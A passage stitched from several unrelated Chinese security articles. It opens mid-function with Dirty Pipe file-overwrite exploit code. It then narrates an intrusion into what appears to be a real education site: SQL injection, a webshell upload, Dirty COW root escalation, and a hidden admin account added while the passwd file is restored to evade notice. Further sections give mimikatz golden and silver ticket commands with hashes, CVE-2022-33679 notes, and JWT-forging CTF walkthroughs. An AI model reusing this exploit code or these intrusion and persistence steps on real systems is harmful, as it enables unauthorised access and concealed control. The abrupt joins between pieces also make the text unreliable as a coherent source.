if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
从发现SQL注入到ssh连接
前言:
某天,同事扔了一个教育站点过来,里面的url看起来像有SQL注入。正好最近手痒痒,就直接开始。
一、发现时间盲注和源码
后面发现他发的url是不存在SQL注入的,但是我在其他地方发现了SQL盲注。然后改站点本身也可以下载试用源代码,和该站点是同一套系统:
一开始的思路是直接用时间盲注写马,然后遇到的问题就是如何获取站点的绝对路径。通过sqlmap自带的字典去爆破,发现都失效了。(但是其实只是没写成功,不代表路径是不对。)那么接下来的思路就在源码上了。从源码里面没有找到啥可以直接未授权getshell的点。后面在本地搭建这套系统时,发现了其配置信息都在网站目录下的configure.php,后面就是尝试使用sqlmap读取文件。通过猜测,发现了站点的路径为/var/www/html/{站点域名}下面。然后再回头尝试写马,还是失败。但是可以读取文件。然后写了个脚本去跑,成功获取数据库账号密码:
Nmap一试,3306开放,心中窃喜。使用mysql连接的时候,发现root登录被做了限制,只能使用localhost进行登录。然后也通过sqlmap获取到其他账号,有的可以登录,但是都因为权限小,无法写马。
二、惊现上传漏洞
写马失败后,想着查询下数据库里面的管理员密码,登录后台看看有没有可利用的点。后面又回过头来看源码了。一边放着dump数据,一边又发现了新东西,这站点存在ckfinder和ckeditor编辑器,但是一个无法访问,一个无法上传木马。
就在我想破脑袋也没想到还有啥办法之时,我同事那边来了个好消息。他从旁站获取到了测试账号密码:
然后他在个人资料处发现了一些功能点,发现了一堆xss和csrf、会话固定后,最后测了一下上传点
这个上传点如果你直接上传php是可以上传成功的,但是路径找不到。很奇怪。
不过如果你先上传一个jpg文件,就会发现图片路径为upload/fileimages/ew00000000040/user_photoa009.jpg
然后再通过bp修改文件扩展名为php,重新上传,就可以成功在前端看到php的路径:
通过抓包分析,我们发现他存在一个http_user字段可控,并且只在前端校验文件类型得到重命名组合为user_photo#
直接写入phpinfo(),发现解析了,上蚁剑:
成功getshell。
三、脏牛提权
虽然成功获取权限,但是这权限很低,有执行权限,但是很多操作都被限制。前面有获取数据库账号密码,在获取webshell后,可直接连接mysql数据库:
这时候可以考虑udf提权,但是尝试发现没有/usr/lib64/mysql/plugin/路径的上传权限。那么久只能通过常规的提权了。使用工具linux-exploit-suggester。
发现很多种方式可以提权,但是我用kali编译完的程序上传到目标机上,发现运行不了。后面直接在目标机编译,也出现确实一些库文件,好像因为目标机版本太低了。后面参考了这篇文章,成功进行提权。
四、SSH连接
这个提权会删除root用户,新建一个用户firefart。本来还在考虑使用内网穿透把22端口代理出来,然后直接ssh连接。但是渗透步骤不规范就会导致我这样的结果:他的ssh并不是22端口,而是999端口。我信息收集的时候没有发现到位。当时一开始看没有22端口,所以才顺势觉得要穿透进去。但是其实人家999端口就是ssh。接下来就是成功使用ssh连接。
但是有个问题又出现了:如果我想连接ssh,那么久只能使用这个账户登录,因为我不知道root密码。但是这样的话,人家登录不了root就会发现异常。但是如果我把root恢复了,我就没有root权限了。
诶,后面我在想,如果我把原始的passwd文件恢复,然后不断开ssh连接是不是我还能有权限操作呢?说干就干,使用firefart执行mv /tmp/passwd.bak /etc/passwd恢复原本的账户。然后ssh不断开,我发现我还是root权限。这就好办了。useradd新建账号edu,然后把新建的账户加入管理员组。
使用新账号edu进行登录,发现为root权限,成功!
这时候才把原本firefart账号的窗口关闭。重新再使用firefart账户登录,发现已经无法登录了。看来这应该是系统的一种机制吧,哈哈哈。
结尾
这次渗透其实走了很多弯路,到最后都没用上数据库。很多时候一个点打不进去的时候,适当的放弃,去打新的点,不要太头铁,特别是攻防的时候。
总结一下:发现盲注,源码到跑取站点账号密码(时间盲注效率低到我现在还没跑出后台管理账户密码),无果。到从旁站上传木马,获取网站服务器权限,权限较低,使用脏牛提权,到后面的恢复原本的账户,并新建一个管理员。其实这个站点是还有内网在,貌似是教育局办公内网,但目前还在尝试,后续会随缘更新。
我的渗透测试方法论
0x01 渗透测试概述
渗透测试:比较官方的解释可以查看百度百科,我的理解为渗透测试就是通过一些手段找到网站、APP、网络服务、软件、服务器等网络设备和应用的漏洞,告知管理员有哪些漏洞,应该怎么填补以防止入侵。
下图,为我在学习课程之前了解到的渗透测试流程:
而本次课程中,将渗透测试的流程就更加简化了,总共分为了三个步骤 ——
信息收集阶段:通过已知信息去收集渗透测试目标所有暴露在边界上的系统和信息,从而掌握目标外围所有可能访问到的资产信息
漏洞发现阶段:对收集到的资产进行划分,然后针对不同的目标执行不同的测试方案
报告编写阶段:将之前的所有成果进行汇总,将测试的方法、流程、结果以及漏洞修复建议体现在报告中
其中可以使用脚本自动化完成的步骤为信息收集和漏洞发现,接下来我就来具体介绍一下课程中关于这两个部分的内容
0x02 信息收集阶段
资产范围 → 子域名数据 → 域名对应的IP数据
通常情况下,我们拿到的资产范围都是一些域名列表,类似于下图
所以,我们第一步需要做的工作通常是收集主域名下的子域名与其对应的IP
具体步骤如下:
在获取到目标资产范围后,先进行第三方平台的子域名信息收集,使用到的工具有oneforall(国内)和amass(国外)
使用子域名枚举工具ksubdomain的enum模块,利用子域名字典对目标进行子域名枚举,获取相应数据
将前两步收集到的信息去重后传入域名字典生成工具dnsgen生成新的域名字典
使用子域名枚举工具ksubdomain的verify模块,利用新生成的域名字典进行域名枚举,获取相应数据,值得注意的是,verify模块产生的数据不会对泛解析域名进行处理,这里还需要增加一个处理泛解析域名的操作
将所有的得到的数据汇总去重,即可得到一份子域名 + IP的目标数据
子域名与IP的映射关系 → 获取http://domain:port格式的URL数据
仅仅知道站点域名是不足以确定一个WEB站点的,所以我们还需要获取其WEB服务对应的端口号,最终拿到对应的URL数据
想要通过域名IP数据获取URL数据方式有三种,可以根据个人需求选择对应的方式进行操作:
方式一:直接使用naabu工具进行收集,输入域名列表,输出http://domain:port格式的URL数据,但是速度很慢
方式二:使用Nmap工具的-sV参数对IP列表进行扫描,能够直接获取IP开放的端口和对应的服务信息,通过对服务信息的分类能够获取到开放WEB服务的端口,最后再将端口与域名数据拼接,即可获取http://domain:port格式的URL数据。这种方式不复杂,但是速度也不算快,建议针对单个站点使用
方式三:使用Masscan对IP列表进行扫描,获取其开放的端口,然后使用fingerprintx工具进行端口指纹识别,获取其中的开放WEB服务的端口,最后再将端口与域名数据拼接,即可获取http://domain:port格式的URL数据。这种方式经过测试,速度是方式二的两到三倍
URL数据 → 站点验活 → 站点去重 → 站点指纹识别 + WAF检测 → 目标站点列表
在获取到URL数据之后,我们可以对每个URL进行进一步的验证,排除掉所有失活的站点,再基于站点哈希值进行去重,最后排除掉存在WAF站点,即可获取最终的目标站点列表,然后可以根据需求进行站点指纹识别,为NDay漏洞的利用做准备
站点信息收集的具体步骤如下 :
使用httpx工具收集所有URL对应站点的哈希值,工具会默认排除失活站点,然后根据哈希值进行去重
使用wafw00f工具对所有存活的站点进行WAF验证,排除掉存在WAF的站点并收集WAF指纹数据入库(若没有WAF指纹识别的需求,仅仅只是进行排除,也可以自己编写WAF判定的脚本),获取经过筛选的站点作为目标站点数据保存下来
如果有需求,可以通过TideFinger工具收集目标站点的站点指纹信息进行入库/存入文件
目标站点列表 → 站点列表
在获取到站点列表之后,需要寻找注入点,即网站的接口(GET、POST传参的参数)
寻找网站接口的方式有二:
方式一:通过接口字典枚举的方式寻找,用到的工具是x8,需要指定对应的参数字典,这个方式效率不高,在站点数量较少的时候可以尝试用
方式二:使用网站爬虫的方式寻找公开的接口信息,用到的工具是gospider,这款爬虫工具为动态爬虫,利用无头浏览器,可以动态加载网页中的 JavaScript 脚本,相比静态爬虫可以获取 POST 请求中的参数,以及可以利用 API 进行数据交互
在收集完网站接口数据之后,可以利用uro工具对数据进行去重,避免重复操作
总结
至此,信息收集步骤已经全部完成,我们再来回顾一下 ——
收集目标站点资产范围,通常为域名范围
子域名收集
WEB端口收集,汇总为URL数据
URL去重、验活以及排除存在WAF的站点
站点指纹识别,信息入库
站点接口数据收集
0x03 自动化测试
在之前的信息收集步骤中,我们获取了目标站点的URL数据和接口数据,接下来,就可以利用这些数据进行自动化测试了
在开始前,我们需要了解一下常见的漏洞扫描以及模糊测试工具
其中弱口令枚举工具是对一些非WEB端口可能存在弱口令的应用进行测试;而漏扫工具和Fuzzing工具则是针对WEB服务进行测试
AVWS和AppScan通常是使用针对单个站点进行漏扫的工具,简单易用但是扩展性较差
而这里重点介绍xray工具的使用思路——
被动扫描:在进行手工测试的时候,可以开启xray的被动扫描模式,让它帮助你做一些常见WEB漏洞的探测,而人工的重心可以放在逻辑漏洞的发现上
主动探测:利用xray的主动探测功能对站点接口收集阶段的接口数据进行探测
联动Crawlergo进行探测:先用Crawlergo对站点的URL数据进行爬取,再将流量转发给xray对得到的数据进行探测
这三款工具都能自动生成漏洞扫描报告,报告编写可以将其作为参考资料
0x04 总结
最后的最后,放一张图来总结一下这次渗透实训的整体思路,以上就是我这次参加实训的所有收获。
本文转自信安之路 ,作者:H1kki
域0day-(CVE-2022-33679)容易利用吗
前言
最近twitter上关于CVE,应该是CVE-2022-33679比较火了,但是资料也是比较少,下面来唠唠吧。
kerberos认证原理
先了解几个概念
认证服务(Authentication server):简称AS,认证客户端身份提供认证服务。
域控服务器(Domain Control):即DC。
服务票据(Server Ticket):简称ST,在Kerberos认证中,客户端请求的服务通过ST票据认证。
票据授予服务(Ticket Granting server):简称TGS,颁发服务票据(server ticket)。
活动目录(Active Directory):简称AD,包含了域中所有的对象(用户,计算机,组等)
KDC密钥颁发中心(KDC):域控担任
特权属性证书(Privilege Attribute Certificate):简称PAC,所包含的是各种授权信息, 例如用户所属的用户组, 用户所具有的权限等。
下图为Kerberos的认证过程:
一个完整的认证流程基本上分为8个步骤
1.客户端用户向KDC发送请求,包含用户名,主机名和时间戳。AS接收请求
2.AS对客户端用户身份认证后给客户端返回票据授予票据
3.客户端使用TGT到票据分发服务(TGS)请求访问服务器A的服务票据(ST)
4.TGS给客户端分发ST
5.客户端使用ST请求服务器A
6.服务器A解密ST票据得到特权属性证书PAC,服务器A请求域控AD需确认用户权限
7.域控将PAC解密获取用户SID和用户权限的结果返回给服务器A
8.用户身份符合则进行第最后的返回信息,整个Kerberos认证结束。
黄金票据
原理:
Kerberos黄金票据是有效的TGT Kerberos票据,是由域Kerberos帐户加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
相当于跳过上面图片中过的步骤一和步骤二,直接伪造TGT
实验
这里利用星海安全实验室的靶场环境
环境:192.168.10.10 域控DC 域:Starseaseclab.com 操作系统:win-server2012R2
域内主机:192.168.10.14 操作系统:win7
使用条件:
域管SID
域名
域控KRBTGT账号的HASHntlm(hash)
whoami /all
lsadump::dcsync /domain:starseaseclab.com /user:krbtgt
sid:S-1-5-21-1719736279-3906200060-616816393
htlm(hash):5e31f755b33b621bede0946b044908e4
domian:starseaseclab.com
域内主机win-7
privilege::debug
kerberos::purge //清空票据防止缓存影响
Kerberos::golden /user:administrator /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /krbtgt:5e31f755b33b621bede0946b044908e4 /ptt //伪造金票注入内存
白银票据
原理
黄金票据是伪造TGT,在kerberos认证中忽略前两步,白银票据就是直接伪造ST
whoami /all
sid: S-1-5-21-1719736279-3906200060-616816393
sekurlsa::logonpasswords
伪造票据
Kerberos::golden /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /target:win-dc.starseaseclab.com /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:user1 /ptt //伪造银票注入内存
利用MS14-068(CVE-2016-6324)
域内用户提升至域控
条件 :
域内用户名以及hash
sid值
域名
域控ip
ms-14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户sid -d 域控ip
kerberos::ptc "票据" //将票据注入内存
黄金票据和白银票据的区别
访问权限不同:
Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
Silver Ticket:伪造TGS,只能访问指定的服务
加密方式不同:
Golden Ticket由Kerberos的Hash加密
Silver Ticket由服务账号(通常为计算机账户)Hash加密
认证流程不同:
Golden Ticket的利用过程需要访问域控,
Silver Ticket不需要
CVE-2022-33679
攻击的过程分为下面几个步骤
攻击者发送一个没有预授权的 AS-REQ 请求 RC4-MD4 密钥加密。如果用户不需要预授权,KDC 将发回一个 AS-REP,其中包含使用 RC4-MD4 加密的会话密钥等。
根据加密数据的长度,计算出加密密钥开始前的0x15字节,只要总长度就可以猜到。可能需要发送适当长的主机地址来填充 ASN1 编码数据,以便将密钥对齐到合适的位置。
根据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。
使用密钥流加密 PA-ENC-TIMESTAMP 预认证缓冲区,如果仅使用 KerberosTime,则大小将恰好为 0x15 字节,即带有初始填充的 0x2D。
在新的 AS-REQ 中发送加密的时间戳以验证密钥流是否正确。
如果将客户端和 KDC 降级为使用 RC4-MD4,攻击者可以让 KDC 使用 RC4-MD4 会话密钥作为初始 TGT,它只有 40 位的熵,并且在关联的票证过期之前实现暴力破解,可为该用户发出任意服务票证的 TGS 请求。
攻击图解
在请求TGT的第一阶段爆破第一个字节的图解
获取最后一个字节的过程图解
CVE提交者的POC显示已删除,github上披露的EXP已经没了。
项目下载地址:
https://github.com/GhostPack/Rubeus
需要重新编译一下,Rubeus的V2.1.2实际上也没找到历史发布版本,目前最新版本未V2.2.1
该版本无法使用cve-2022-33679伪造TGT。该漏洞就利用方式来说跟黄金票据有点儿类似,通过EXP绕过Kerberos认证协议中的第一和第二步骤,直接向TGS请求ST。
总结
资料还是有限,没有复现成功,但是就原理来说,结合Kerberos认证原理还是比较清晰。CVE-2022-33679的使用也是有使用条件,需要设置“不需要 Kerberos 预身份验证”用户帐户控制标志,并配置了 RC4 密钥。所以在利用手段上来讲应该是比较苛刻。(如有错误还请各位指出)
浅析JWT Attack
前言
在2022祥云杯时遇到有关JWT的题,当时没有思路,对JWT进行学习后来对此进行简单总结,希望能对正在学习JWT的师傅们有所帮助。
JWT
JWT,即JSON WEB TOKEN,它是一种用于通信双方之间传递安全信息的简洁的、URL安全的表述性声明规范,是一种标准化的格式,用于在系统之间发送经过加密签名的JSON数据,理论上可以包含任何类型的数据,但最常用于发送关于用户的信息(“声明”),以进行身份认证、会话处理和访问控制。
简单了解了它的定义后,我们接下来来看一下JWT的组成部分它分为三个部分,如下所示
1、Headers:头部
2、Payload:有效载荷
3、Signature:签名
这三个部分以.符号来连接,所以JWT的格式通常是xxx.yyy.zzz这种样子
Headers
Headers通常由两部分组成,令牌的类型和签名算法,常见的算法有很多种,例如 HMAC SHA256或 RSA。但它也还有一个kid参数,这是一个可选参数,全称是key ID,它用于指定加密算法的密钥。
示例如下
ewogICJhbGciOiAiSFMyNTYiLAogICJ0eXAiOiAiSldUIgp9
这就是一个Headers,当我们对它进行Base64解码就可以看到它的具体内容,具体如下
{
"alg": "HS256",
"typ": "JWT"
}
alg指的就是算法,这里的算法就是HS256,typ指的是令牌类型。这里需要说明一点,就是明文在加密时其实采用的是Base64URL加密,这种加密方式并非Base64encode+URLencode,而是对一些特殊字符进行了替换,具体说明如下
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_ 。这就是 Base64URL 算法。
Payload
有效载荷就是存放有效信息的地方,其中包含声明。声明包含三个部分 1、已注册声明这个部分的话就是已经预先定义过的声明,常见的声明主要有以下几种
iss: jwt签发者
sub: jwt所面向的用户
aud: 接收jwt的一方
exp: jwt的过期时间,这个过期时间必须要大于签发时间
nbf: 定义在什么时间之前,该jwt都是不可用的.
iat: jwt的签发时间
jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
2、公共的声明这些可以由使用 JWT 的人随意定义,一般用于添加用户的相关信息或其他业务需要的必要信息。但不建议添加敏感信息,因为该部分在客户端可进行解码.3、私有的声明这些是为在同意使用它们的各方之间共享信息而创建的自定义声明,私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息。
示例如下
ewoJInN1YiI6ICJhZG1pbiIsCiAgICAidXNlcl9yb2xlIiA6ICJhZG1pbiIsCiAgICAiaXNzIjogImFkbWluIiwKICAgICJpYXQiOiAxNTczNDQwNTgyLAogICAgImV4cCI6IDE1NzM5NDAyNjcsIAogICAgIm5iZiI6IDE1NzM0NDA1ODIsIAogICAgImp0aSI6ICJkZmY0MjE0MTIxZTgzMDU3NjU1ZTEwYmQ5NzUxZDY1NyIgICAKfQ
进行base64URL解码,结果如下
{
"sub": "admin", //jwt所面向的用户
"user_role" : "admin", //当前登录用户
"iss": "admin", //该JWT的签发者,有些是URL
"iat": 1573440582, //签发时间
"exp": 1573940267, //过期时间
"nbf": 1573440582, //该时间之前不接收处理该Token
"jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识
}
Signature
由于头部和有效载荷以明文形式存储,因此,需要使用签名来防止数据被篡改。所以这部分是一个签证信息,这个签证信息由三部分组成
1、header (base64URL编码)
2、payload (base64URL编码)
3、secret(密钥)
它的计算方式如下
Signature=HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
//假设这里是HS256算法,如果是其他算法的话开头设置为其他算法即可
现在了解了JWT的大致作用和其组成,接下来来学习一下JWT攻击。
JWT 攻击
JWT攻击有多种情况,现在来对其进行逐一讲解。
敏感信息泄露
JWT保证的是数据传输过程中的完整性而不是机密性。
因为JWT的payload部分是使用Base64url编码的,所以它其实是相当于明文传输的,当payload中携带了敏感信息时,我们对payload部分进行Base64url解码,就可以读取到payload中携带的敏感信息。
靶场演示
题目链接https://www.ctfhub.com/#/skilltree题目描述如下
JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}
进入环境后发现一个登录框
随便输入账号密码,登录后发现界面如下
查看此时的JWT
想到题目中说头部和载荷可能会有敏感泄露,将值取出分别进行Base64URL解码
两处拼接一下,得到ctfhub{bb89d985db8cea6a2f2d34cb}
算法修改攻击
首先来简述一下JWT中两个常用的加密算法
HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
从上面不难看出,HS256自始至终只有一个密钥,而RS256是有两个密钥的。在通常情况下,HS256的密钥我们是不能取到的,RS256的密钥也是很难获得的,RS256的的公钥相对较容易获取,但无论是HS256加密还是RS256加密,都是无法实现伪造JWT的,但当我们修改RSA256算法为HS256算法时,后端代码会使用公钥作为密钥,然后用HS256算法验证签名,如果我们此时有公钥,那么此时我们就可与实现JWT的伪造。
靶场演示
题目链接https://www.ctfhub.com/#/skilltree
题目描述
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
进入环境后发现题目代码
class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
简单的看一下,大致意思就是当以用户名为admin,密码不是$flag时,此时登录后JWT中payload的role是guest,而只有当role为admin时才能够得到Flag,所以我们这里肯定是需要伪造JWT的,我们先以admin为用户名,随便输入密码登录一下此时得到JWT,将其拿去解密网站https://jwt.io解密一下
发现加密方式是RS256非对称加密,想到在登录时,下方给出了公钥
所以这里就可以尝试更改算法为HS256,以公钥作为密钥来进行签名和验证,因此我们构造一个伪造JWT的脚本,内容如下
import jwt
import base64
public ="""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqizf1rnxqfeyCAp52TQO
3uEyeB1HzqqbO8FBHWqLlhgmyPFqaopXVhZryzP+Sd6a3iQd8xeD7URswPHE4roA
kbI1GMta9zAdD1yPtp//JNZ55hx1iFY2n9gw2u8VL64n9sCc56H46L3W52Z37kvW
q5LuoLAuyJpP7Ofadt7biWaeXibZGQjPwlbCy31DyxdDFCt8pVrajVI97w3amHBU
Xhd0Ku+DOq9hjadtQbTkbIkAUR84yqt+25EXd/rg1w8we9ysNcTjAeUayRGPuQmX
UWJaFpsvuL7WeUb2xJqvieFwsCQppS1ZgaoRc0F835K+G3s3qWRi4AnvZxryfTzl
awIDAQAB
-----END PUBLIC KEY-----
"""
payload={ "username": "admin","role": "admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))
此时运行完后发现报错
这个是因为源代码中进行了校验,我们简单设置一下即可,源代码文件地址如下
/usr/lib/python3/dist-packages/jwt/algorithms.py
我们在它的校验前面增加这样一句话
invalid_strings=[]
此时保存退出,再运行文件即可得到新JWT
将新的JWT拿到网站中替换旧的JWT,刷新网站即可得到flag
未验证签名
当用户端提交请求给应用程序,服务端可能没有对token签名进行校验,这样,攻击者便可以通过提供无效签名简单地绕过安全机制,此时就造成了越权漏洞的出现。假设现有payload如下
{
"iat": 1668871293,
"exp": 1668878493,
"nbf": 1668871293,
"sub": "quan9i",
}
这里的quan9i是普通用户,按理说的话它是无法访问到管理员的界面的,但由于这里的签名是没有验证的,当我们修改payload时,这个JWT仍然有效,所以我们修改payload如下
{
"iat": 1668871293,
"exp": 1668878493,
"nbf": 1668871293,
"sub": "admin",
}
此时就垂直越权,变成了管理员用户,可以访问管理员的界面。
靶场演示
题目环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature题目描述
本实验使用基于 JWT 的机制来处理会话。由于实施缺陷,服务器不会验证它收到的任何 JWT 的签名。
题目要求
要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限/admin,然后删除用户carlos。
题目条件
您可以使用以下凭据登录到您自己的帐户:wiener:peter
打开环境后发现Cookie中没什么东西,但想到题目给出了账号,那就先找登录点,发现有个My account
点击查看,发现是登录界面,将刚刚题目条件中所给的用户名和密码放入
此时查看cookie
具体内容为
eyJraWQiOiIxYmE5NjA0Ny0wNjBiLTQ0MTAtODg1NC01YWYxYTQ2ZTljYWEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTI5NzgxMH0.JMb3Ttl7WLoVrTfcEq03VIafh7zDMu5_nhMtPc3qnhgENSl1WbMAMFfeTa-v0jS69A13W-J3_ccslHu25OW_SRPAq2GuAUoFfEGtthnP-PaDWFN2_UIIcaeAx8rj8bNy65apX37EnTx-sPo274X
对第一个.后和第二个.之前的内容进行解码(此部分内容为有效载荷)得到
{"iss":"portswigger","sub":"wiener","exp":1669297810}
题目提示了这里不校验签名,所以我们修改payload如下
{"iss":"portswigger","sub":"administrator","exp":1669297810}
再对其进行Base64URL编码,替换掉原来的payload,此时就得到了新的JWT,将新的JWT放入session中,重新访问此界面,发现多了一个功能点
发现可以删除用户
任务完成。
空加密算法
这里需要先介绍一些利用的知识点
将signature置空。利用node的jsonwentoken库已知缺陷:当jwt的signature为null或undefined时,jsonwebtoken会采用algorithm为none进行验证
JWT支持使用空加密算法,可以在header中指定alg为none,此时只要把signature设置为空,提交到服务器,任何token都可以通过服务器的验证。
假设现有JWT(解码后的,无signature的)如下
{
"alg" : "Hs256",
"typ" : "jwt"
}
{
"user" : "quan9i"
}
这里我们指定alg为None,修改Payload中的user为admin,如下所示
{
"alg" : "None",
"typ" : "jwt"
}
{
"user" : "admin"
}
此时再进行Base64URL编码,就可以实现越权,得到管理员才可以访问的界面。
靶场演示
靶场环境https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification题目描述
本实验使用基于 JWT 的机制来处理会话。服务器未安全地配置为接受未签名的 JWT。
题目要求
要解决实验室问题,请修改您的会话令牌以获取对管理面板的访问权限/admin,然后删除用户carlos。
题目条件
您可以使用以下凭据登录到您自己的帐户:wiener:peter
进入环境后先去登录
得到JWT,题目提示了接受未签名的JWT,所以将第二个点后的内容直接删除,而后再对前面内容进行Base64解码
{"kid":"16adc077-c753-4bbe-a9df-46688c01ac46","alg":"RS256"}.{"iss":"portswigger","sub":"wiener","exp":1669304815}.
修改headers中的alg为none,修改payload中的sub为administrator,然后分别进行Base64URL编码,即可得到新的JWT,在网站中对JWT进行替换,接下来再次访问此网站,发现新功能点。
点进去发现有删除用户的功能
任务完成。
爆破密钥
这个的话其实就是使用工具来对密钥进行爆破,从而实现越权。这个的话在参考过其他师傅的文章后发现是有一些条件的,具体如下所示
1、JWT使用的加密算法是HS256加密算法
2、一段有效的、已签名的token
3、签名用的密钥不复杂(弱密钥)
然后这里还需要介绍一下爆破密钥用的工具,链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式如下所示
1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载
2、make #编译
使用方式如下
./jwtcrack JWT
这是一个,还有一个爆破工具,可以引用字典,链接如下https://github.com/Sjord/jwtcrack安装方式如下所示
1、git clone https://github.com/Sjord/jwtcrack
2、pip install PyJWT tqdm
它的使用方式如下
python3 crackjwt.py JWT dictionary.txt //字典文件是自己写入的
靶场演示
题目描述
本实验使用基于 JWT 的机制来处理会话。它使用极弱的密钥来签署和验证令牌。这可以很容易地使用一个包含常见secret的单词表来暴力破解。
题目要求
要解决实验室问题,请首先暴力破解网站的密钥。获得此后,使用它签署修改后的会话令牌,使您可以访问管理面板/admin,然后删除用户carlos
题目条件
您可以使用以下凭据登录到您自己的帐户:wiener:peter
进入环境后,依旧是先登录获取当前JWT
因为题目已经提示了这里用的是暴力破解,所以我们用刚刚提到的工具,来爆破一下密钥
./jwtcrack eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE
这里爆破多次均未得到密钥,所以我们选择换另一个工具,自己找个字典来进行爆破字典链接https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list接下来使用工具指定字典来进行爆破
